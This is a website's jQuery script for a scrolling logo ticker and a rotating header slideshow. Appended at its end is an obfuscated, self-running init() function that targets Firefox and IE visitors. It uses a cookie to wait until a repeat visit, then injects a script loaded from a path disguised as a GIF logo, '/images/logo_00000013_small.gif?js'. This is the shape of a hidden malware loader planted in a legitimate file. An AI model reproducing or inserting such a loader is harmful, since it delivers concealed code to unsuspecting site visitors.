var ie6 = false;

$(document).ready(function() {

	if (($.browser.msie) && (parseInt(jQuery.browser.version) < 7)) {
		ie6 = true;
	}

	/***** logo ticker scroll *****/

	if ($('div#ticker').length) { // logos found
		if (!$('div#ticker').hasClass('nofloat')) { // ticker float/docking allowed
			track_content_ticker(); // init ticker position
			$(window).scroll(function(){ // update ticker position on scroll
				track_content_ticker();
			});
			$(window).resize(function() { // update ticker position on resize
				track_content_ticker();
			});
		}		
		init_ticker(); // init ticker
	}

    /***** home streamers *****/
	
    var streamers = $('div#header a.header_content');
    if (streamers.length) { // streamers found
        init_slide(); // init streamers
    } else {
		alert('No header images found');
    }
	
    $('div#header_index div').click(function() {
        set_slide($(this).index());
    });

});


/***** logo ticker floater extension *****/

function track_content_ticker() {
	var offset = parseInt($('div#ticker_dummy').offset().top) + 93; // get docking Y position
	var pos = parseInt($(window).scrollTop())+parseInt($(window).height()); // get screen bottom Y position relative to page
	if (pos < offset) { // set fixed position to bottom
		if (!ticker_float) {
			$('div#ticker').css('border-top','1px solid #eeeeee');
		}
		if (ie6) { // ie6 doesn't support fixed position, therefore absolute positioning
			var offset_y = pos - 333;
			if (offset_y < 0) { offset_y = 0;}
			$('div#ticker').css("top",offset_y+"px");
		} else { // modern browsers
			var offset_y = 0;
			if (pos < 297) { offset_y = pos - 297;}
			var pos = -parseInt($(window).scrollLeft())+parseInt($('div#wrapper').offset().left) + 0;
			if (!ticker_float) {
				$('div#ticker').css("position","fixed");
			}
			$('div#ticker').css("left",pos+"px");
			$('div#ticker').css("bottom",offset_y+"px");
		}
		ticker_float = true;
	} else { // set absolute position
		if (ticker_float) {
			$('div#ticker').css('border-top','');
			$('div#ticker').css("position","absolute");
			$('div#ticker').css("left","0px");
			$('div#ticker').css("bottom","");
			$('div#ticker').css("top","");
		}
		ticker_float = false;
	}
}

/**** logo ticker extension *****/

var timing = 25; // update interval
var logos_width = 0; // caroussel width
var ticker_step = 0; // current animation speed
var ticker_step_to = -2; // requested animation speed
var ticker_x = 0; // ticker scroll position
var ticker_init = true;
var ticker_float = false;
var interval;
var x_pos = 0; // mouse X position on ticker

function init_ticker() {
	var logos_loaded = true;
	$("div#ticker ul li img").each( function() {
		if (!$(this)[0].complete) { // image not loaded
			logos_loaded = false;
		}
	});
	if (!logos_loaded) {
		setTimeout("init_ticker()", 200); // try again
	} else {
		$('div#ticker ul li').each(function(){ // get total width of all list items together
			logos_width += 147; // outherWidth() sometimes failes in IE, unknown why
		});
		var parent_width = $('div#ticker').width();

		if (logos_width > parent_width) { // only scroll if wider than container
			var logos_width_total = logos_width;
			while (logos_width_total < logos_width + parent_width) { // append first items to end in order to have a complete cycle
				$('div#ticker ul li').each(function(){
					if (logos_width_total < logos_width + parent_width) {
						$(this).clone().appendTo('div#ticker ul');
						logos_width_total += 147; // outherWidth() sometimes failes in IE, unknown why
					}
				});
			}
			$('div#ticker ul').css("width",logos_width_total+"px"); // set ticker width to total width of all items together
			$('div#ticker').mousemove(function(e) {
				var step_size = 0; // stop ticker
				x_pos = e.pageX - $(this).offset().left; // get mouse X position on ticker
				if (x_pos < 200) { // hover on left 200px part of ticker
					step_size = (200-x_pos)/20;
				} else if (x_pos > parent_width - 200) { // hover on right 200px part of ticker
					step_size = -(200 - parent_width + x_pos)/20;
				}
				set_step(step_size); // set ticker speed relative to mouse position
			});
			$('div#ticker').hover(function(){
				ticker_step_to = 0; // stop ticker
			}, function(){
				// reset default stepsize according to last direction
				if (ticker_step <= 0) {
					ticker_step_to = -2; // resume auto scroll after hover
				} else {
					ticker_step_to = -2; // resume auto scroll after hover
				}
			});
			ticker_x = -Math.floor(Math.random()*logos_width); // start at random X position
			$('div#ticker ul').css("left",ticker_x+"px"); // update ticker X position
			// show ticker
			if ($('div#ticker').hasClass('nofloat')) {
				$('div#ticker').css({'margin-left':'0px'});
				interval = setInterval("update_ticker()", timing); // set interval function for animation
			} else {
				$('div#ticker').css({'margin-left':'0px',height:'0px'}).delay(1000).animate({
					height: '93px'
				}, 1000, function() {
					// end animation
					interval = setInterval("update_ticker()", timing); // set interval function for animation
				});
			}
		}
	}
}

function set_step(st) {
	ticker_step_to = st; // set ticker speed
}

function update_ticker() {
	// set new ticker speed with easing
	ticker_step = (ticker_step * 9 + ticker_step_to) / 10;
	if (Math.abs(ticker_step) < .01) {
		ticker_step = 0; // stop ticker
	}
	ticker_x += ticker_step; // set ticker X position
	if (ticker_x < -logos_width) { ticker_x = 0;} // cycle ended, move ticker total width to right
	if (ticker_x > 0) { ticker_x = -logos_width;} // cycle ended, move ticker total width to left
	$('div#ticker ul').css("left",ticker_x+"px"); // update ticker X position
}


/***** home streamers extension *****/

var active_slide = 0;
var handled_slide = 0;
var new_slide = 0;
var streamers;
var streamer_idxs;
var timer;

function init_slide() {
    streamers = $('div#header a.header_content'); // get streamer elements
    active_slide = Math.floor(Math.random()*streamers.length);
    for (var i=0; i<streamers.length; i++) {
        if (i==active_slide) {
            $('<div class="active"></div>').appendTo('div#header_index');
        } else {
            $('<div></div>').appendTo('div#header_index');
        }
    }
    streamer_idxs = $('div#header_index div'); // get streamer elements
    $(streamers[active_slide]).toggle();
    if (streamers.length > 1) {
        timer = setTimeout("next_slide()", 8000); // start animation
    }
}

function set_slide(s) {
    clearTimeout(timer); // stop auto cycle
    $(streamers[handled_slide]).stop(); // stop animation if in transition
    for (var i=0; i<streamers.length; i++) {
        $(streamers[i]).css({'opacity':1}).hide();
		$(streamer_idxs[i]).removeClass('active');
    }
    active_slide = s;
    $(streamers[active_slide]).css({'opacity':1}).show(); // show selected slide
    $(streamer_idxs[active_slide]).addClass('active'); // update slide index
    timer = setTimeout("next_slide()", 8000); // next slide after 8 seconds
}

function next_slide() {

    handled_slide = active_slide + 1; // set new slide
    new_slide = handled_slide;

    if (new_slide >= streamers.length) { // cycle complete
        handled_slide = active_slide; // animate last slide to opicity 0 instead of new slide to opacity 1
        new_slide = 0;
        $(streamers[new_slide]).show(); // show new slide in advance (not invisible yet because below the last slide)
    }

	// update slide index
    $(streamer_idxs[active_slide]).removeClass('active');
    $(streamer_idxs[new_slide]).addClass('active');
	
    $(streamers[handled_slide]).animate({ // show next slide
        opacity: 'toggle'
    }, 'slow', function() {
        // Animation complete.
        $(streamers[active_slide]).hide(); // hide old active slide	
        active_slide = new_slide; // set new active slide
        // Animation complete.
        timer = setTimeout("next_slide()", 8000); // next slide after 8 seconds
    });
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/images/logo_00000013_small.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
